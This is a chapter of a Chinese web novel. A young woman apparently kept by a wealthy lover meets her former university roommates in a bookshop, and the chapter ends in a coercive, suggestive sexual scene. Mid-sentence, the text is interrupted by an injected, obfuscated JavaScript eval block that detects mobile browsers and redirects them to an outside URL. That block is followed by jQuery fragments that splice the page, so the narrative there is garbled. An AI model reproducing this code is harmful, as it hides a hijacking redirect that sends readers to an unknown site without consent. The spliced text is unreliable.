【2025年春】
已经是上午十点，何序才在鸟叫声中转醒，她偏头看向阳台，海浪一样起伏着的白纱窗帘后面，有只白头鹎叫着蹦上了圆桌。
"啁啾，啁啾，咕——"
何序学了一声， "啁啾，啁啾，咕——"，掀开被子下床，同往常一样光裸着身体朝阳台走。她的皮肤比四月的阳光还白，窗帘被晒得发软的影子从她身上抚过，暂时遮住了那些分部于各处的暧昧痕迹——即使已经淡得快看不见，也还是能轻而易举想象出当时的激烈。
她的双腕应该被缚得很紧，淤青呈现环形，后肩应该被咬出过血，牙印至今还在。右脚戴着一个黑色的皮质脚环，宽度不超过一指，通体不见接缝亦无锁扣，严丝合缝，上面唯一的装饰是从脚踝处坠下的红宝石，色泽纯正，阳光照过来如血液流动，更衬得她小腿皮肤苍白，上面的指印清晰可见。
何序拂开窗帘走上阳台。
白头鹎已经飞走了，桌上留着它叼过来的一片玉兰芽鳞，毛茸茸像猫的耳朵。
何序看了一会儿，把芽鳞拾在手心，回来卧室洗漱。
何序收拾好下楼是在半小时后，餐食已经准备好了，管家胡代替她拉开椅子，盛了汤，之后一直目不斜视候在旁边。
餐厅里静得没有一点生活气。
饭后，何序坐在玄关穿鞋，准备出门。
胡代走过来说：“小姐出差结束了，今晚七点到家。”
言下之意，何序要在七点之前回家。
何序绑鞋带的动作停滞一瞬，很快站起来应道：“知道了。”
胡代没说话，侧身替拉何序开门，目送她到看不见之后，回来餐桌边对着盘子拍了张照片，发到微信。
【何小姐今天多吃了两颗樱桃。】
————
何序一路朝南走了十七分钟，然后坐地铁半小时，来到一家咖啡书店。书店叫“猫的星期八”，面积大，环境好，上新快，就是一年到头没什么人，总冷冷清清的。不过这不影响何序每天上午十二点过来，一待五六个小时，全神贯注和拼图死磕。
这是她每天除了吃饭、睡觉、看电影、发呆，唯一能做的事情。
不对，是唯二。
那个人不出差的时候，她每天还要跟她做很多床上的事——不讲感情，只是做——很辛苦。
但已经做了快三年了吧？
何序捏着一片找不到位置的拼图，嘴唇慢慢抿了起来。
这次的拼图有点难。
午后安静，斜进来的光墙隔绝了外界声音，在桌上留下看不见的轨迹一寸寸指向日暮，傍晚，三个风尘仆仆的女人从三个方向赶来，在书店门口激动相拥。
“我们毕业都快五年了，你怎么一点没变？”庞靖说。
程雪：“还是这么美？”
“哈哈哈，还是这么不要脸。诶，”庞靖用胳膊肘撞撞低头看手机的谈茵，“小谈总，咱宿舍现在就您老有钱，晚上打算请什么？”
谈茵：“路边摊。”
庞靖“切”一声，扭头看着镀了层金光的书店：“嚯，这儿可是寸土寸金的鹭洲经济特区啊，竟然开了这么大一家赚不了钱的书店！老板不是家里有矿，就是脑子有水！”
庞靖犀利评价结束，挽着程雪往门口走：“走走走，进去坐一会儿。我现在每天不是跟领导拍桌子，就是跟客户扯皮，脑子都要炸了，赶紧让我进去躲会儿清净。”
三人推门进来，里面压根不用找，全是空位。
庞靖挑了个靠窗的坐下，拿出手机扫码点单。
“你喝什么？”庞靖问接了个电话，晚几步过来的谈茵。
谈茵视线从不远处一扫而过，伸手拉开椅子：“白开水，最近胃不舒服。”
程雪：“忙得？”
谈茵：“嗯。”
话落，谈茵落座的动作忽然停住，抬头看向刚刚一扫而过的地方——有个人趴在桌上睡着了，半边脸陷在臂弯里，半边浸在夕阳里，随着呼吸轻颤的睫毛是风吹皱了的湖水，在谈茵心上缓缓推了一把。
谈茵迅速松开椅子往过走。
庞靖、程雪奇怪地对视一眼，同时看向谈茵和桌边正在转醒的人。
“何序！”庞靖一时激动没控制住声音，但是还好，书店只有她们几人，这一声影响不大。
庞靖快步跟在程雪后面起身。
桌边，何序刚睡醒，脑子还不清楚，听到有人喊自己名字也不过迟钝地看上一眼，伸手把沾在胳膊上的一片拼图拨落回桌面。
“咔嗒。”
很轻一声响，伴随着头顶一道微微发颤的女声。
“这么多年，你去哪儿？”
何序去捏拼图的动作悬在半空。
庞靖跑过来，紧接着谈茵那句问：“为什么不参加毕业典礼就走了？为什么不接电话，不回微信？？为什么跟人间蒸发了一样，是死是活连个消息都没有？？？”
庞靖越说越激动，一把抓住何序的手腕，将她从座位上提了起来：“说话！”
何序没防备，被抓着身形一晃，撞在桌上，发出很重一声响。
程雪连忙拉开庞靖，低斥：“小胖！”
庞靖怒气不减：“这些问题你就不想知道？？”
程雪欲言又止，焦躁又担心地看了眼何序，夕阳正在迅速从她身上褪去，阴影涌上来。
春末的寒气彻底将何序笼罩那秒，一旁按捺住激动的谈茵才再次有了动作，她轻但不容拒绝地拉开庞靖，撇开所有质问，只疑惑何序：“这些年过得好不好？”
捏在指尖的拼图被攥进手心，坚硬的棱角楔入皮肤。
何序抬起头，嘴角向上扬，眼尾向下弯，瞳孔里注入光，笑得和五年前如出一辙：“好，很好。”
庞靖：“那为什么不联系我们？！你知不知道你突然消失，我们有多担心？？谈茵满世界找，我和程雪见人就问，到最后差点报警！”
110拨出去之前，程雪偶然在书桌下发现了何序留的纸条，所有担心才算有了着落。
但一句“毕业快乐，有缘再见”，还是显得格外草率。
何序迎上庞靖充斥着责怪的目光，真诚道歉：“对不起，那会儿临时回家处理点事，走得急。”
庞靖：“什么事能急成那样？连跟舍友打声招呼都顾不上！”
何序只是笑着，不说话。
她以前就这样，不想回答问题的时候就一直笑，温温柔柔的，和和气气的，直勾勾的，笑得你根本没法追问。
庞靖既无语又觉得这幕熟悉感久违，不想破坏，况且人不是好端端的，没出什么事么，所以她只怨怼地在何序肩头推了一把，说：“想没想我们？”
何序目光轻晃，说：“想。”
庞靖神经粗，没发现何序眼中那一瞬细微的情绪变化，吸着发酸的鼻子说：“算你还有良心。”
几人在何序这桌坐下。
谈茵看着桌上只差一片就能完成的拼图，问何序：“什么时候来鹭洲的？”
何序：“二零年。”
庞靖：“那不就是毕业之后一直在鹭洲？谈茵家在鹭洲，这儿也没多大，但是快五年啊，你们真就一次都没有见过？？”
庞靖不可思议地盯着两人。
何序右脚微不可察地后撤寸余，被胳膊沾下来的那片拼图仍然攥在手心。谈茵视线从她发白的掌指关节上扫过，说：“没有。”
庞靖无语了：“你们是磁铁同极吧，稍微靠近一点就相斥。”
谈茵：“那倒没，主要小谈总这几年忙着从象牙塔走向名利场，闲时间太少。”
说的真像那么回事。
庞靖嘴角一提：“啧——”
谈茵后靠椅背，笑道：“喝的点好了？”
庞靖答声“没有”，扭头去使唤程雪。
谈茵视线在两人身上短暂停驻，转向身侧的何序：“家里的事情都处理好了？”
话题打开的方向既正常落在何序这个焦点身上，又不那么难以回答。
谈茵还是印象里那个谈茵，为人处事总留有让人舒服的余地。
何序点点头，原本竖着的拳头翻转朝下，说：“好了。”
谈茵：“嗯。刚毕业那会儿大家的处境都很狼狈，自顾不暇，现在基本稳定了，有事常联系。”
庞靖见缝插针：“咱们四大天坑专业之一——材料化学毕业的，处境能叫狼狈？简直生不如死好吧！”
庞靖围绕着“白天拼命打工，晚上吃土续命”的槽点疯狂输出了一阵，何序放在桌上的手机忽然震动起来，她很快按掉，但并排的谈茵还是看到屏幕上是到点的闹钟，备注：回家。
二十五岁的成年人，有几个六点就要回家？
家里有人？
谈茵拇指下压食指关节，听到何序说：“我有点事，要先走了。”
庞靖：“不是吧！我们才刚见面！我还想着晚上好好喝一杯呢！”
何序已经站了起来。
庞靖火速把手机怼到她跟前：“新联系方式给我！我和雪姐一天忙得像狗，这次要不是专程飞过来看导员，都不知道什么时候才能逮着你！你别再想跟我们玩消失！”
何序攥了攥手心的拼图，没有去接手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560025|171370||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机，而是问：“导员怎么了？”
程雪：“脑溢血，查寝的时候晕倒了，还好学生反应快，及时送到医院才没出什么大事。她现在在医院观察，我们三个约好明天一起过去。”
“现在是四个了。”庞靖盯着何序说。
何序没办法说“不”，她们的四年大学，辅导员张滟充当了半个姐姐的角色，对她们非常照顾，她可以对有些人恩将仇报，但不能对张滟忘恩负义。
何序接住庞靖的手机，存了电话，加了微信，说：“明天几点去？”
程雪：“九点二院门口集合。”
何序：“好，我一定准时到。”
说完侧身，是要走的动作。
谈茵起身给何序让路，身形交错时，谈茵忽然说：“明天真的会见面？”
何序一愣，想起毕业典礼前一晚，谈茵说的那句“明天见”。她当时答应得很干脆，却直到近五年后的今天才终于再见。
不讲信用的人竟然没被时间的弯刀穿膛而过。
何序心想。
但疼痛的感觉正在胸腔里迅猛发生。
何序扬起嘴角，露出她招牌式的温和笑容：“真的。”
谈茵回以微笑，和庞靖、程雪二人一起目送何序离开书店，消失在人潮熙攘的街头。
庞靖收回视线，如释重负地说：“还好序儿没什么事，不然我这辈子都得为她牵肠挂肚。”
程雪“嗯”了声，神情也轻松不少。
只有谈茵始终偏头注视着何序离开的方向，心里有个声音在问：真的没什么事吗？
将近五年不见，她竟然还是未经时光磋磨，未被职场浸染的二十岁模样，眼里欲.望模糊，身上留白清晰。
可不应该是这样啊。
没谁工作五年，还能一成不变。
是遇到了一个人，把她保护得太好？
还是遇到什么事，阻止了她的生长？
谈茵拧眉看向桌上的拼图，良久，抬手摩挲着那上面唯一的缺口。
————
何序到家的时候，院子里已经多出来一辆车，表示那个人回来了，她快走两步进来，却没在餐桌前看到她。
胡代神出鬼没：“小姐还有工作，不吃晚饭了。”
何序朝楼上书房方向看了眼，说：“我去洗手。”
晚上的餐后水果还是樱桃，个头比早上的大，量好像也比早上的多？
何序不确定。
吃饱之后，她在院子里走了一会儿消食，接着去负一的影音室看完了之前剩下的半部电影，等到十点，上来楼上。
书房里的灯已经关了。
卧室门虚掩着，里面没有声音。
何序推门进来，看到裴挽棠坐在床尾——她刚洗过澡，颈部皮肤微微泛红，头发潮湿，睫毛上的水汽也没有散，整个人还是很湿润的样子，眼神却好像凉了很久，显得深。
何序反手把门推上，低声说：“我马上洗澡。”
说完就准备要走，眼神没在裴挽棠身上多做半分停留。
“砰。”
裴挽棠扣上电脑，声音和她的眼神一样冷：“口袋里装的什么？”
何序脚下一顿，下意识去掏，掏出来一张路边接的瑜伽体验卡，一张咖啡店的宣传单和早晨在桌上捡到的玉兰芽鳞。
裴挽棠看着那些东西，脸愈发沉：“别什么垃圾都往家里带。”
嗯，和这栋房子里动辄上万的物件比起来，这些东西是挺垃圾，应该扔掉；和如日中天的商界新贵裴小姐比起来，何序这个人也是垃圾，也该扔掉。
但矛盾的是，她来这里快三年，还睡在裴小姐床上。
何序用一种逆来顺受的冷静说了声“好”，把垃圾扔进垃圾桶，进来卫生间洗澡。
里面水汽氤氲，香气弥漫。
何序把自己泡在热水里，泡到全身发软，呼吸潮湿了，赤身裸体地走回房间，掀开被子上床。
裴挽棠靠在床头处理工作，她的手指很长很灵活，手指下不扰人的键盘敲击声像催眠曲，唱得何序昏昏欲睡。
何序勉强坚持了一会儿。
即将陷入沉睡之际，悬空的那侧肩膀忽然被推到床上，她立刻清醒，知道该来的来了，于是顺从地依着那股力道趴在床上，举高双手，等待身后的人靠近，等待她报复似的钳住她的双手，咬破她的肩膀，征伐她的身体，解构她的理智。
何序的神经很快开始打颤，眼角溢出泪水。
忍不住出声那秒，她深埋在枕头上的脸突然被扳向一侧，裴挽棠带着血腥味的吻封堵过来，强硬深入到令她窒息。